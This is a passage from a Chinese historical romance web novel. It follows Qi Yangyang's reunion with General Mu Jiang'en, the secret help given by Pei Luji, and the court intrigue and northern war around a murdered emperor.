城外猎猎风沙,裴陆戟裹紧了帷帽,目光缥缈看着已然看不见的身影, 轻叹了一声,“都有吧。” · 戚央央回到封州,第一时间找到王爷商议救出沐江恩。 “沐大哥的行刑时间已定,我得到的罪证都被裴陆戟烧掉了,可是幸好,我那里还有一些别的物证,还有一些人证。” “我听闻荆王妃同圣上情谊非一般,乃圣上亲自养大,当作亲妹一般的,或许可以找王妃帮忙同圣上说说?” “圣上倘若知道沐大哥的行为乃是去搜集了这些关于丞相罪证的事,想必他也想留住沐大哥继续彻查,毕竟秦家一门坐大也不是什么好事,圣上他必会忌惮,有所行动采取的,不是吗?” 荆王看着戚央央,有些惊讶,带笑地点点头:“此事或许可行,不过,也不必让王妃出马,本王可悄悄进京面见圣上。” “可是”戚央央原本也觉得让荆王妃出面不好,但这时候已经没有别的办法了,“王爷身份特殊,当年圣上不是下过命令,让王爷不得诏令不可进京吗?王爷不能违抗圣命的呀” 荆王笑了,“那只是圣上做戏给那些老狐狸看的。” 随后荆王告诉她,自己同圣上乃一母同胞的兄弟,从前在宫中他和圣上感情是很好的,他和圣上明面上关系闹僵,其实也是他和圣上约定好,演给朝中那些世家看的,他拥护六皇子也是受圣上之命,圣上苦于被世家钳制已久,早就想废掉太子,另立寒门贵妃所生的六皇子为储,以求未来王朝能挣脱世家的控制。 “但是这件事谈何容易,”荆王哀叹,“世家大族为了利益,早已与朝廷关系盘根在一起,就连我和圣上自己也是世家出来的皇子,没有世家的支持,根本不可能坐上皇位。” “所以,圣上才要我跟他演戏,让我力保六殿下,替六殿下筹谋。” “你现在明白了吧,我与圣上表面看着形同水火,但我们目标是一致的,就是要对抗世家大族,我去悄悄找圣上,必能谈得下此事,只要沐将军到时果真能助圣上对付秦家。” 戚央央听荆王这么一说,顿时放心了。 荆王笑着看向她,颇为欣慰地道:“没想到啊,之前你来封州的时候,还是个瞧着有点傻气的姑娘,这么久不见,本王觉得你变化很大啊,变得” “很有主见和看法。” “我记得那时候你对这些朝事上的事情都迷迷糊糊的,你能向本王提意见说出这个办法,本王当真吓一大跳。” 戚央央笑笑不语,在裴陆戟那个家伙身边潜伏时间长了,他处公事和别人商议公事从不避讳她,总把她带着,耳濡目染,怎能学不会? · 荆王这一程秘密赴京密会圣上倒也进行得顺利,没多久他就回信告知说,圣上已经答应留住沐江恩一命。 只不过,判刑之事是邢部和相关部门一致判定的,已经贴过皇榜,所以死刑必须执行,但到时候圣上会安排一个跟沐江恩相像的死囚顶替,人会偷偷放出。 得知这一消息后,戚央央绷紧多日的精神,终于松懈下来。 荆王再次传信,交待沐江恩何时从何地秘密返回封州,让戚央央准备好带人去接应。 那一天,戚央央起了个大早,穿上姨母跟她一块挑选的衣裳,特意装扮一番,才带上那条本想在新婚之夜送给沐大哥的青山江河绣帕子,来到王爷说的地方等候。 她本想在春季春暖花开的时候,嫁给自己的心上人,这是她从小跟爹爹哥哥们说过的。 她喜欢生机盎然的季节,她希望父兄在那个季节送她出嫁。 可他们错过了那一季,也没关系,相隔两季,在秋意渐起的时候,她终于能迎他回来,她就已经心满意足了。 荆王来信说沐大哥会由封州西面的彭山那边回来,让她拿着他手谕沿途安排人接应。 她满心欢喜穿上了与婚服一致的绯色月裙,想给沐大哥一个惊喜。 可是等了好久,依旧没看见人。 “不会是圣上半道反悔了吧?”荆王的手下忍不住猜忌,“毕竟秦家势大,若秦家察觉了圣上和王爷之事,圣上为了自保,不是没有可能斩断与我们王爷的关系,出手杀掉沐将军的” 戚央央听着,手忍不住攥紧了衣袖。 没多久,前方便有探子惊喜来报,说是听见马蹄声,应该是沐将军回来。 戚央央一听,立马往前跑去。 立秋时节,枫叶未红,山花仍旧开得漫山遍野皆是,尽是绚烂至极之态。 戚央央沿山路一路跑着,身后的侍卫跟随。 然后,她看见了不远处队伍领头之处,年轻将军身披铠甲的飒爽之姿。 “沐大哥!沐大哥!”她欣喜至极地喊着。 “沐大哥!沐” 她手还在招着,却不料那位银甲将军却突然勒马挽弓朝她射来三发箭。 “嗖嗖”的乱箭声顿时响起。 戚央央不可置信地看着远处,却恍然发现,那并不是她的沐大哥。 “沐大哥呢??我的沐大哥呢??” 她失声道,又一记箭刺穿了坡道上的山花蕊,朝坡下的她直面而来,呈雷霆迅疾之势。 她身后的侍卫都中了箭,那些护着她的手下很快就被利箭刺破咽喉滚落下去。 她心里有种预感,感觉沐大哥回不来了。 又一发利箭朝她射来,她怔怔地望着那记箭,太快了,她躲避不及,以为这下会被刺穿身体。 不料此时,坡道之上的人像突然触发了什么机关,山上落石滚落,而戚央央所在位置有天然险要的山岩遮挡,一群黑衣人突然涌出来,将她和其他剩余的荆王部下之人救了下来。 戚央央醒来的时候,发现自己已经回到荆王府了。 她闻到枕边有一股果子清新酸涩的味道,惹得人口涎都冒了。 睁眼扭头一看,果然看见一串串银红的果子在她面前,她惊奇道:“这是” “是雀红果。” 听见回答的人那熟悉的嗓音,戚央央一顿,转头过去的时候泪流满脸。 “沐大哥你真的回来了”她泪水一滴滴往外掉,“我以为你回不来了” “是差一点回不来了,”他笑着捋捋她鬓发,“但是后面我有贵人相助,所以,又平安回来了。” 沐江恩告诉她,圣上原本答应王爷答应得好好的,会安排人偷偷送他回封州,可后来不知为何却对他生了杀心。 本来毒药已经灌到他唇边了,圣上突然又遣人来拦截,还给了他新的任务,让他回封州后尽快将秦相的另外一桩徇私草菅人命的旧案余下证据找出,可他先前从未查过此案相关案子,也从不曾知晓此事,他心知一定是有人在背后帮他,所以权宜之计,他答应下来,圣上就放他回来了。 后来他都准备回封州了,大寺的张大人突然告诉他,恐防圣上已经派人前往封州的关口刺杀她,让他快马加鞭赶过去救人。 幸好他救下了人,而且他来到时,就已经有部分黑衣人守在这边设好陷阱了,要不然他可能来迟一步救不了她了。 “是什么在帮我们?”戚央央奇怪道,“而且,圣上为何又出尔反尔了,是因为此时被秦相知道了吗?但也不对,倘若秦相知道了,圣上会当面杀掉你以划清界限,又怎么会叫你去查其他案件的证据呢?” “是啊,”沐江恩道,“而且圣上应该是早就想铲除秦氏的,可他见完王爷后,表面答应,背后却悄悄杀我,还要杀掉你的行为,让我猜测,圣上应该是不希望我们查出当年车壁战败背后的原因,而为何他不愿查明呢,这明明是铲除秦氏的大好机会,所以我猜” “圣上可能同此案有关?”戚央央惊愕地瞪大了眼睛。 沐江恩点点头,“如果是这样的话,那你父兄的案子,不管我们是否有足够的证据,估计圣上在位一日,你父兄就永无平反的一日。” 戚央央身子轻颤,浑身如堕寒窟,突然觉得,这件事细思极恐,她顿时像被拉进了一个无底深渊里一样。 “那我父兄当年之死”她的眼泪在眼眶边打转,不敢相信这一切事情。 “小央你别怕,这只是我们的推测,现在我不是被救下来了吗?说明背后一定有人在极力找着当年这桩案子的真相,所以才会用另外一桩丞相的旧案证据,来挽留我一命。” “可问题是,你手里根本就没有这些证据啊”央央道。 “所以,我猜这个人肯定是想借我的手来削弱秦氏势力,可能根本无需我来查,他很快就会将证据送到我手。”沐江恩道。 “你是不是已经知道这个人是谁了?”央央问。 沐江恩点点头,看了看她手中殷红的果子。 “是啊,我知道他是谁。” 第86章 他改好了我就要喜欢吗?…… “是他。对不对?”戚央央问。 沐江恩愕了一愕。 他出京城之时, 张白石来找他,还带来了这一摞野果,让他捎给戚央央。 在静安县军营的时候, 有一次小央坠崖被裴世子所救,回来裴世子告诉他, 他为了怕她排斥, 所以在她看不见听不见的情况下伪装成是他来同她相处。 还在事后将自己在山崖石窟里同小央相处的情况, 事无巨细都记录下来, 让他记熟,好配合圆谎。 其中, 就有世子为她摘下悬崖雀红果的事,世子还特意画了雀红果的画在本子上, 方便他记认这果子长什么样子。 所以当张大人拿出这串野果的时候,他就明白这背后相助之人, 必定是他。 张大人叮嘱他不可告诉戚央央, 说是世子要求的, 世子觉得自己在她心中形象坏透了, 就不要再告诉她这些,以免她日后愧疚难过。 这一切都是世子的决定。 可沐江恩觉得, 既然她已经猜到了,他再隐瞒也没什么意思, 而且,会不会愧疚难过,不该是世子自己来决定, 这样什么事情都不跟她说的话,未免对她不够公平。 所以,他点了点头:“是, 是他。” 戚央央神色凝住,没有说话。 “那他是故意推动和安排,让我离京的?因为他本来就想好如何救下你了,只是突然意识到事情有变,而我又擅作主张让王爷去找了圣上,所以才惹来这次杀机,他他竟然早就想到我会怎么做,还安排人相助你我?” 沐江恩也没想到,她会猜到那么多。 他点点头,“是。” 戚央央想到自己临走前刺他的那几下,可是往死里刺的 沐江恩看着她的模样,既心疼又无奈,艰涩道:“小央,我知道世子他帮了你许多,如果你对他还有感情的话,那我们先前的婚事就” “不,沐大哥,什么是愧疚,什么是感情,我想我还是分得清的。” “我喜欢的人是你,对他不过是愧疚,如果因为愧疚而选择和他在一起,我想,他也不会愿意的。” 她睁着清亮的眼眸看着他道。 “世子高风亮节,为世人求公道,我很钦佩他,也很感激他。不管他是为了大义也好,还是什么也好,他都帮助过我们许多,日后我们一起慢慢还他便是了,沐大哥,你觉得呢?” 戚央央说这些的时候,脑海中突然飘进张白石的话。 他说,裴陆戟这人只是表面看起来朗月清风,其实内里阴鸷、偏执、嫉妒成性、阴暗不堪,而她,是他维持这些美好假象的唯一由。 她眸光微闪,抬起头来眼睛继续专注地看着沐江恩,用力挽住他胳膊道:“沐大哥,我喜欢你,这一辈子都不会改变了,但你如果已经不喜欢我,不想要我了,那我” 她耳边响起裴陆戟的话,目光清明道:“那我也不会再继续纠缠你了,我会好好生活,好好做回我自己。” 她笑容像一抹清风抚平人心上折痕,“这世间万般地好,就算没有情爱,我也还能去尝试九千九百九十九种美好的事情,你说是不是?” 沐江恩被她的笑容蛊惑了,觉得这般的小央,像是一只破茧而出的蝴蝶,比以往还要光芒耀眼。 · 戚央央将沐江恩送给她吃不完的雀红果一颗颗剥下、晒干,做成蜜饯留着没舍得吃。 沐江恩同她道:“吃完我再给你摘便是,喜欢想吃就吃。” 戚央央眼神幽怨地看着他,像是在怪责他忘记了什么。 沐江恩这才突然想起那本被烧毁的本子上似乎有记录,“沐江恩”答应戚央央,以后“沐大哥”不能犯险去悬崖摘果。 “你之前答应过我不犯险的,这次食言,我就不同你计较了,你还想有下一次?” 戚央央皱眉道。 其实沐江恩心里知道,此事谁也没有食言,野果是世子摘的,同“沐大哥”没什么关系,也就不存在“沐大哥”犯险摘果子了。 “好,以后也不会犯险,这果子其实是我在山下捡到的,没有犯险,你放心。我知道这雀红果是你对你父兄的美好回忆,我知道你此次回封州艰险重重,受了不少苦,只想让你高兴一下罢了。”他道。 “我确实很高兴,谢谢你,沐大哥。”戚央央捧着一捧雀红果蜜饯,摆放在心口,甜甜地笑。 · 沐江恩猜得没错,裴陆戟没多久就派人来同他联系,把所有查到的证据都给了他,想借他的手,铲除掉大部分秦相的势力。 戚央央也将自己的商队,乃及这段时期通过商队赚得的钱,全部投了进来。 “世子大义,我也该全力相助,方不辜负他的情义,再说了,那些东西许多都是他找回来的,现在他需要资金来疏通各个环节的关系,我在情在也该帮的。” 戚央央的钱被送出去没多久,就被退了回来。 沐江恩对她道:“世子不肯要,他说给你的,就是你的,如果你不要可以扔掉,但不能还他。” 听他这么说,戚央央只好收回。 沐江恩看着她,没忍住问了一句:“小央,世子他逸群之才,又长得丰神俊朗,对你情深,而且你和他过往的那些误会和矛盾也已经解开,他也开始自省和改过了,你当真就没有对他有一丝心动过吗?” 戚央央想也没想就立马摇头:“他改好了我就要喜欢吗?他自省了我就要回头吗?从前是因为我错认了人,如今我找回你,眼里自是再没有他人,不会因为他好,就随便改变心意。” “这世上好的人何其多,难道我每找到一个好的,就要同他一起?” 眼见她越说越不高兴,沐江恩赶紧握住她手道:“没有我就是,有点不敢相信,你怎么会喜欢我而已。” 见他信心缺缺的样子,戚央央突然抱住他道:“沐大哥,我的心意不会改变的,我和世子已经是过去了,我不会再怨恨他,也不会再喜欢他,我往后看的人只有你。” “我们等秦相那桩徇私草菅人命的旧案开审查明后,就继续完成那个婚礼,好不好?” “好,好,都依你。”沐江恩也回抱她道。 可这桩旧案没有等到开审的一天,太子就反了。 消息传到封州的时候,圣上已经被囚禁在寝宫大半月了,朝廷暂时由太子殿下掌握,太子殿下监国,秦相和裴尚书辅佐。 京中突变,人心惶惶,羌北那边也开始蠢蠢欲动。 这时荆王也被派到边境作战了。 沐江恩收到王爷的书信,戚央央紧张地凑了过来,“怎么样了?” “王爷说,秦相那桩案子,暂时不要动,眼下局势不稳,朝中稍有不稳,外敌难免乘虚而入,我们” “只能暂时按兵了。” 戚央央点点头,她也明白,这种时期,抗击外敌比较重要,即便是她父兄知道了,也会支持先放下眼前仇怨,全力抗击外敌的。 “只是只差一步你就能替你父兄报仇,当年车壁一事,虽然不确定是否跟圣上有关,但祁仁义是秦相的人,秦相肯定是知情且参与过此事的。”沐江恩道。 戚央央摇摇头,“报仇已经不是那么重要,重要的是,我想替爹爹和哥哥们找一个事情始末真相,秦相是不清白,但事情到底是怎么一回事,估计再难有个结果了。” “既然怎么都难以有个结果,那报仇之事倒也没那么急了。” 沐江恩明白她,她穷尽所能,也不过是想替父兄洗脱罪名,留一身清白在人间罢了,只要圣上一日还在,事情就不可能大白。 · 圣上被困在寝宫已经许久没有传出音讯,宫中都有闻,圣上一早驾崩,只是如今为了稳定朝局,才刻意隐瞒着。 太子已经快压不住流言了,他找来了裴陆戟到跟前。 “裴尚书,如今那些大臣都要求见父皇,孤已经快压不住了,羌北那边作乱,倘若还不让父皇露面,恐怕” “恐怕六皇子殿下就会抓住这一点,大肆渲染,说殿下你弑父,正好给了他一个搬兵回朝勤王的机会。”裴陆戟往下接话道。 “是啊,虽然荆王已经被派到边境,但是但是倘若父皇之事那六弟到时候倒是不乏相助之人啊”太子殿下愁道。 “景和宫最近味道越来越大,用香料也掩盖不住,这件事瞒不了多久了,可刘公公的下落,秦相还没找到。” “殿下,其实你有没有想过,丞相他可能在逼你做决定。”裴陆戟道,“刘公公一个内侍,丞相底下的人手眼通天,要找一个内侍怎可能找这么久找不到呢?他可能是故意让殿下着急,想殿下你在迫不得已之下,自乱阵脚,替他杀了六殿下,这样,丞相就有由” 太子听得心惊,“你是说,丞相他狼子野心,想让孤替他解决掉六弟,他就趁机拿出父皇的遗诏,捉拿孤,然后,他想” 裴陆戟垂眸,什么也不再说。 太子恼得“砰”一声拳头砸在案板上。 “他杀害父皇的时候,就已经想好这步棋了吧?所以刘公公不是自己逃掉的,而是自此至终,就被他藏起来,以要挟孤??他好大的胆子!!” 第87章 他不躲不避,生生站着受了…… 事情要说回三个月之前。 有一夜秦相的人突然通知太子赶紧到陛下寝宫, 太子来到之时,偌大深宫偌大回廊是漆黑的,寝宫外一个把守的人都没有, 也没有掌灯。 走进去便看见秦相坐在圣上的尸首旁,殿外间或地雷闪, 可看得见他手里还握住勒死圣上的腰带, 整个人瘫软在地上, 不断地喘息。 “丞相你!你做了什么??”太子眼睛瞪大, 不可置信道。 秦相见太子来了,立马恢复往常的冷静, 将腰带扔掉,站起来行礼。 “殿下, 陛下刚才已经拟下了废太子另立储君的圣旨,臣倘若不是这么做, 秦家和殿下多年来的心血, 都会付之东流。” “父皇他终究还是立了六弟为储是吗?”太子握拳浑身发抖。 “圣旨已经被刘公公带走了, 臣如今已经派人去追捕他, 在找到圣旨和人之前,请殿下配合臣, 演好这出戏,殿下明白吗?” 八月的天, 黑夜划过一道惊雷,照亮了宫闱处繁复深深的床帏,和墙上五爪金龙的浮雕。 太子殿下从那一刻起, 就深知被逼绑上了一条贼船,一去不复返了。 所幸他身边还有一个裴陆戟可以依靠,尽管他知道, 裴陆戟这人心思极深,尽力帮他可能也有不为人知的所求,但至少能牵绊秦相这头豺狼一二。 “裴尚书,依你所见,这一局,孤要如何能破?”太子问。 “回殿下,臣倒是有一法子。” 裴陆戟道:“眼下丞相不过是利用这内忧外患的处境,逼殿下做错事,只要臣替殿下解决掉这外患,那么,殿下就能在此次平乱中获得功绩,稳住朝纲。” “朝纲稳住了,六殿下自是不敢轻举妄动,到时候殿下再弄点动静,让秦相误认殿下手里有证据,自会自乱阵脚,到时候臣就能派人从他手中救下刘公公。” “你是,想要启动崔家的十万大军?”太子道。 裴陆戟跪道:“眼下只有这个办法可行,殿下和我,是旁系的血亲,臣也是崔家人,自是要护着殿下的。” “臣还有,一事想请求殿下。” · 裴陆戟带领崔氏十万大军出征一事,朝中许多人反对。 原因是崔家军好不容易从崔氏逆贼手中收回,如果被裴氏的人要去了,而且,裴陆戟的娘族正正是崔家,一旦被他掌握大军,崔家军定唯他的命是从,到时候想从裴陆戟手里收回兵权,哪有这么容易? 可太子却在朝会上直斥这些臣子,“如今大晋陷入水深火热之境,眼下首要解决的便是边境的安危,老百姓安全!旁的,等往后再说!” 秦相看太子的眼神越发阴沉,“殿下年轻,难免容易受人蛊惑,做出不智的事,老臣认为” “敢问如今是丞相监国,还是孤监国?丞相是君,还是孤是君,丞相应该听孤的,还是孤要听丞相的?”太子硬气道。 “丞相,不如你说说?” 秦相看着不远处一脸沉静的裴陆戟,咬紧牙槽,“自是臣听殿下的。” “好,那就这么决定了,裴尚书即日起领军十万,赶赴边境。” · 此次迎战,有不少朝廷官员也主动请缨上阵,张白石也随裴陆戟上战场了。 羌北六部的苏赫巴鲁可汗是勇猛的君主,早前已经将羌北西面十二个部都收复了,此次南下进攻大晋,是势在必行的事。 裴陆戟知道,秦相私下有同苏赫巴鲁接洽,已经做好了谋反的准备。如果他不说服太子将十万崔兵给他,秦相会联合羌北将大晋蚕食殆尽。 “可你如此一来,就等同于和秦相撕破脸了,此战,我们未必能赢,秦相也有可能在战中联合敌人将你暗杀。” 张白石道。 “结局我早已想好了,最坏也不过是身死罢了,但刘公公在我手上,秦相不敢对殿下乱来,这一局,无论如何都会是我赢。”他笑道。 张白石还是有些地方想不通,“按说,就算陛下要废太子另立储君,丞相也可以把陛下软禁起来,不必弑君啊,以他多年纵横朝政的手腕,怎么可能会冲动犯如此过错呢?” 他把目光看向裴陆戟。 张白石和谢绍杰决定加入裴陆戟计划的时候,是一心想着铲除秦相的恶势力,还朝政清明,是以忠君为原则的。 裴陆戟只是淡淡道:“他这样的人,利欲熏心,做出什么也不奇怪。” 张白石疑虑地看着他,点点头,“是不奇怪。” 如此说来,他觉得羌北那边肯定有安插在大晋皇宫的细作,而且那细作也比大晋朝廷的人先一步确定过大晋皇帝确实已驾崩,才敢真的挥兵南下。 如今的羌北,虽说苏赫巴鲁已经统一了十二部,但余下还有九部才是最险要的,也恰好是他们选在这个时候挥兵,倘若再等几年,等羌北二十一部统一了大部分,兵强马壮的时候,纵然能出动崔兵,可能也难以与之一敌了。 所以他才会觉得,秦相这一步走的是错棋,以他的手腕,不应当犯这样的错误。 他的思路应该是,制止圣上另立储君,静待时机,等羌北苏赫巴鲁兵力成熟,他也掌握朝中大多兵力,届时太子这个傀儡就能弃之敝履。 断不可能在这个时刻弑杀君主,惹苏赫巴鲁急功近利,挣脱他控制的。 丞相的行为出乎意料,且又联想起先前看裴陆戟站在城外目送戚姑娘离开的神色,仿佛有种生离死别的感觉,这让张白石不禁产生疑惑,怀疑这一切一切,都是人为在控制着的。 · “那天太子把你召去,你同他开出的条件,到底是什么?” 同羌北开战已有大半年,期间大大小小场战役,裴陆戟都通过巧妙的策略,赢得颇为漂亮。 大晋隆玄皇帝身体不适卧床期间,有小太监值夜伺候不慎打翻烛台,寝殿连人被烧成灰烬,隆玄皇帝驾崩,太子登位。 太子登位后将相关宫人处置了,秦相帮忙镇压六皇子党的人。 六皇子见朝局逐渐稳固,失去争夺之心,束手就擒。 秦相大权在握,见裴陆戟已经没有价值,多番在朝中引发言论,说他在边境同外敌狼狈为奸,拒绝再输送军饷,并勒令他在规定时间回朝认罪,如若不是,便判逆谋之罪。 外有豺狼外敌,内有奸佞在朝,这场仗,慢慢就局势逆转,被羌人把握了先机。 这一次裴陆戟领兵误中陷阱,已经和敌军在山崖下的土坳里周旋了好些时日。 张白石是因为不放心他自己只带领几百精兵前往同敌周旋,偷偷前来接应的,没想到就和他们一起被困在了这里。 被围困期间,他还时常看见裴陆戟拿出一本陈旧的很厚的册子在写写画画。 册子扉页印着花样,瞧着真不像是他的东西,倒像是他从小姑娘手里拿来的。 “少仲兄,你说啊,都到了这个时候了,我们不是战死,就是会饿死在这里,临死前,你就不能同我说说吗?你还装什么?” 张白石身上大大小小都是战伤,裴陆戟身上也好不了多少。 都已经到了仲春时节,这北地的荒山却依然寒冷异常,山上雪没有消融,山下依然寒窟般冰冻。 “你说吧,到底是不是你,设局让秦相弑君的?” “这问题我想了好久了,可我也没有证据,死到临头,只想死个明白,起码要知道,自己这段时间到底是错跟了个乱臣贼子干了大逆不道遗臭万年之事,还是怎样。” “你如今说出来,我也不能再对你做什么了,虽然我对乱臣贼子十分不齿。” 张白石痛饮了一口用来处伤口的酒,始终不死心地揪着他问。 可裴陆戟只是在专心致志地写着他的册子,看都不看他一眼。 张白石心中有气,起身一把将酒壶摔了,“砰”的一声,酒液混合在碎片中。 他揪起裴陆戟铠甲的领口,用拳揍了几下,把他的册子摔远。 “你说啊!我到底是不是乱臣贼子??”他有些失控。 裴陆戟见他把他册子摔坏,立起身也将他揍了几拳,直把他揍得皮青脸肿,旁边的将士们见状,立马围过来劝架。 “难怪戚姑娘不要你!你这闷葫芦,什么都埋在心里,把她推去流放是因为怕自己的计划给她惹来杀身之祸你不说,把她掳到身边是为保护她并且想方设法帮她救下心上人你也不说,现在你把人逼走,人家现在在封州,下个月就要成亲了!你什么都不说,就我倒霉,要陪你个乱臣贼子死在这里!” “活该!你活该!!” 张白石又直起来揍了他一拳,这次他不躲不避,生生站着受了。 “我只是想知道一个答案而已!就不能告诉我,让我死个明白吗??” 裴陆戟受了他那一拳后,又从地上站起,拍拍身上的尘,走过去,捡起那本被他扔坏的册子前,小心翼翼捡起,拭掉灰,坐在大岩石边修了起来。 “不会,让你死的,”他嗓音低沉清冷,如高山泉流, “你还要留下命,替我完成最后的事情。” 第88章 他率领了十万崔军,战况势如…… 封州的二月天, 天气已逐渐暖和,城中树木回绿,山花盛开。 戚央央在三个月之前陆续目送封州的将士启程出战。 沐江恩也已经在前线作战三个月了。 军令是京中下的, 让封州战士启程南境,助俞军攻打南齐。 南齐国是数月前突然反的, 但央央听沐江恩说, 南齐就是个小国, 以前一直是依附着大晋的, 算是大晋的藩国,此番突然造反, 可能是事有蹊跷。 后来在沐江恩出发前没多久,突然收到荆王秘密通知, 让他差小部分人去南境,剩下的去北境缓兵。 北境听说是裴陆戟在带兵前往, 已经把羌人打得往后退了几十里了。 为何还要去北境缓兵呢? 沐江恩不同她说, 她事前早有准备, 收买了一个随同他一起出发的副将, 副将在信中同她说,那些明面看来的战况, 实则只是朝廷那边的说辞,来到这边战局却不是这样的。 后面关于布局的事情, 那位副将就不肯再详说了。 但只是知道这点,戚央央便知道沐江恩和荆王此去凶险。 这是保家卫国的大事,她只能无条件支持。 但她给沐江恩去了信, 说等花开满封州之时,她就出嫁,到时不管他能否赶回来都好, 她都会嫁他。 而封州这边,由姨母和王府的人帮着操持着,这场婚事准备得很隆重,京中都知道了,所以张白石通过京中的眼线,才会知道戚央央要嫁人。 甄氏近段时间时常会收到一些信笺,看印章像是从京城那边来的。 “央央,如果姨母以后要回京城那边,你会过来探望姨母吗?” 看着姨母小心翼翼的样子,戚央央绣盖头的手顿住,“姨母,你是不是要同英国公重修旧好了?” 这段时日,英国公府送来了不少东西,戚央央又怎么会不知道? 而且大部分都是姨母以前在国公府用惯了的,睡觉用的羊绒垫子,姨母旧时最喜欢的那家彩凤阁胭脂,桔子味的熏香,秀珍阁的头油 这些虽然都不是多珍贵的东西,却是姨母这十几年在京中惯用之物,英国公惦记她,怕她在封州买不到这些,用不习惯,特地一车车地送来,堆满了一整个房子。 其实她也看得出,姨母也十分惦记他。 看着甄氏不知所措,像做错事的目光,央央笑道:“姨母无需介怀我,英国公当初也不是故意同姨母和离的,而且,那么多年,他如何待姨母的,我看得一清二楚,国公爷这人在外面威风得很,可回到府里对着姨母你,都是说话也不敢大声怕吓着姨母,什么好的巴不得都给姨母端来,他除了尽力弥补姨母当年失去的孩子外,也是因为珍惜和爱重姨母你。” 甄氏眼睛一亮,“那央央你的意思是,不反对我们重新” 戚央央又笑,“你们在一起幸福快乐,我为什么要反对呀,反倒是我看姨母这两年在封州,都没有以前快乐了。” “那你不会觉得姨母太没志气了?”甄氏道。 “什么志气不志气的,那有自己活得舒快重要吗?” 甄氏放下一桩心事,回过来问她:“央央啊,你只因为少时认定了谁,就要喜欢谁,从前喜欢戟儿的时候是这样,现在跟沐将军一起也是这样,那你其实有没有认真想过,你同谁在一起时,才活得最像你自己?” 戚央央轻眨了眨眼睛,“最像自己?姨母这话是什么意思?难道现在的我就不像自己了?” “那姨母这么问吧,你觉得什么时期是你觉得活得最自在的时候?” 这话倒是让央央陷入了沉思。 甄氏又问,“你在沐将军身边的时候,有觉得自己活得最真实自在吗?” 戚央央几乎是脱口而出道:“那当然了,怎么会不真实自在呢?” 甄氏低眉看了看她手中的刺绣,笑道:“央央,你不是说你要在盖头上绣金丝莲吗?你这不又绣成菊花了?” 央央低头一看,“这我又绣错了吗?唉,怪这金丝莲同菊花长太像了。” · 到了婚期那天,沐江恩没有回来,戚央央打算独自成婚。 封州城能探听到战事消息的就只有荆王府,而王府内本来就有沐将军的住处,央央之前便时常回去那里,顺便探听战事消息。 荆王府的人也有帮忙准备婚事,荆王膝下无子,是把沐江恩当义子一样,他的婚礼便设在了王府内,央央从姨母在封州的宅子出嫁,被花轿抬进王府来。 花轿快将临门那下,王府突然来了荆王派来的人。 说战事已停,沐将军此时已经抵达京城,请戚姑娘立刻动身前往京中。 来人并没有说是为什么,只是态度很焦急的,让她赶紧动身去。 央央连婚服都来不及更换,就急急坐上了那边安排的车马上京。 马车上颠簸了几天之后,终于抵达京城。 抵达京城的时候,那些人便径直将她送到了城南一处大宅子中,这处宅子门口就挂着个戚府的牌匾,那些人告诉她,这处是沐将军在京中替她置办的府邸,作为她的娘家。 央央进府之后,简直吓了一跳,因为这个宅子真的跟小时候在彭州的戚府一模一样,就连她小时候住的宜雨轩的布置,也跟她记忆中一样。 进了月门就是一片缃色的兰花,她记得小时候她会劳动几个哥哥在这里帮她摘兰花做手串、做项圈,待在身上做兰花仙子。 过了那片兰花园,就是一棵百年老槐树,那老槐树古木参天,根枝虬结,树下还有爹爹给她造的秋千架子。 记忆太悠久,她已经记不清那架秋千的样子了,而这里所看见的秋千架子一出现,便一下子勾出了她最深处的记忆。 是啊,幼时她曾经多少次被娘抱着,坐在秋千下听爹爹给她和娘讲那些听了不知道多少遍的老故事,许多故事小时候的她听了开头就能把后边的全部都背下来,可她还是不厌其烦地一遍遍地听着,一边躺在娘的怀里,看头顶枝繁叶茂处漏下的光,渐入梦乡。 那些故事她早已忘得七七八八了,可当她再次看见这架秋千,她一下就全都想起来了。 小时候的时间总觉得能过得很漫长,悠悠缓缓的,像贝山上那条安逸流淌的小溪,也像爹爹故事里那位编织草穗梯子下凡间的仙子,从天庭到人间,那么远那么远的距离,一天只编织一寸,不知要到何时才看得见落到人间的梯子。 爹娘说,等她以后长大,要出嫁的时候,她爹就亲自去她夫君的家,替她造这么一架一模一样的秋千。 可战事一来,她还尚未长大,仙子的草穗梯子还没落下,人间就遍地疮痍,她也被迫失去了可栖息的家,那些过得悠长亘古的时间,也一下子被封印起来一样,她赤脚跳进了疮痍真实的人间。 姨母也被安排住进了这戚府了。 “央央,沐将军说日后我和国公爷复婚要置办婚礼,就让我从这戚府出嫁,他还把婚礼要用的东西都备好了两套,一套是你和他,一套我和国公爷。”甄氏道。 “沐将军还真细心啊,竟然知道我嫁国公爷时顾及戟儿感受,没怎么办过婚事。” 甄氏对央央道。 央央点点头,“是啊,沐大哥确实体贴又温柔,我能嫁他真是幸运。” 回京好些天了,她待在戚府,发现婚礼筹备的东西比起在封州荆王府准备的还要齐全,百子千孙鎏金镂雕金丝楠木拔步床,榆木螭龙纹的大衣箱,银制朱雀灯台,紫光檀镶大石八仙桌 大件小件样样具备,样样精细。 她奇怪的是,“不是要从戚府出嫁吗?怎么婚房还是布置在戚府呢?” “回禀姑娘,这是将军交代的,说姑娘半生流离在外,之前嫁人也是在别人家抬花轿出门转一个圈又回到别人家,将军觉得也该对姑娘公平一些,这次就从姑娘自己的戚家抬出花轿,然后又回来自己家。”戚府的管事回答道。 央央一听,热泪猛地糊上了眼睛,这一刻,多年前出嫁时的心境突然浮现出眼前。 那个时候,爹娘和哥哥们已经离开她有好些年头了,她当时出嫁虽然是满心欢喜的,但当媒婆背起她上花轿,她从盖头下方看去,看见的却不是自己戚府那个刻满了她学字时刻得斑驳了的门槛时,她却还是有些失落的。 她背过人去擦干了泪水,“沐大哥他怎么知道得这么清楚” 管事没有回话,然后宫里就来人了。 是新帝派人来召她进宫面圣。 沐江恩这段时间都没有露面,是因为自从羌北全面战败,他割下了六部首领苏赫巴鲁的头颅进京进献后,就一直在宫中协助新帝处置政务,住在宫里了。 “沐将军是个有能之士,他立下大功,也帮得了陛下,陛下会重用他,想必这次召姑娘你进京,就是想给姑娘你先许下诰命之位的吧” 宫人令她前往大殿之时,一路同她说着讨好的话。 戚央央先前探听战事的时候,知道是裴世子率兵前往北境的,他率领了十万崔军,战况势如破竹。 可是后来,战况突然就不好了。 十万崔军,最后都被敌军隔三差五地引到了绝境。 后来听说世子手里所剩精锐士兵不多,还误入敌军陷阱,北境水深火热,荆王和沐江恩就是这次窥破丞相诡计,掉头前往北境援兵,沐江恩甚至一举创下奇伟功绩,杀了羌北六部苏赫巴鲁可汗,并割下头颅。 第89章 结局 第89章 结局 进殿面圣的时候, 戚央央不为意瞥见了大殿外巍峨的殿柱下,几位太监抬着一块被锦缎盖着的方形物,在柱下走过。 